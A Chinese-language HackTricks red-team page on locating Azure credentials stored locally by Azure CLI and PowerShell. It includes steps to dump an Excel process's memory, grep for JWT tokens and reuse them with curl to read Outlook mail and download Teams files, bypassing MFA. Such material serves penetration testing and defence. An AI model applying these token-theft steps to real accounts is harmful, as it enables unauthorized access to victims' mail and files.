Az - 本地云凭证

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本地令牌存储和安全考虑

Azure CLI(命令行界面)

Azure CLI 本地存储令牌和敏感数据,带来安全隐患:

  1. 访问令牌:以明文形式存储在 accessTokens.json 中,位于 C:\Users\<username>\.Azure
  2. 订阅信息azureProfile.json 在同一目录中,保存订阅详细信息。
  3. 日志文件.azure 中的 ErrorRecords 文件夹可能包含暴露凭证的日志,例如:
  • 嵌入凭证的执行命令。
  • 使用令牌访问的 URL,可能泄露敏感信息。

Azure PowerShell

Azure PowerShell 也存储令牌和敏感数据,可以本地访问:

  1. 访问令牌TokenCache.dat,位于 C:\Users\<username>\.Azure,以明文形式存储访问令牌。
  2. 服务主体秘密:这些以未加密形式存储在 AzureRmContext.json 中。
  3. 令牌保存功能:用户可以使用 Save-AzContext 命令持久化令牌,使用时应谨慎以防止未经授权的访问。

自动工具查找它们

内存中的令牌

此视频 中所述,一些与云同步的 Microsoft 软件(Excel、Teams…)可能会 以明文形式在内存中存储访问令牌。因此,仅需 转储 该进程的 内存grep 查找 JWT 令牌,可能会让您访问受害者在云中的多个资源,绕过 MFA。

步骤:

  1. 使用您喜欢的工具转储与 EntraID 用户同步的 Excel 进程。
  2. 运行:string excel.dmp | grep 'eyJ0' 并在输出中找到多个令牌。
  3. 找到您最感兴趣的令牌并对其运行工具:
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

请注意,这种访问令牌也可以在其他进程中找到。

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks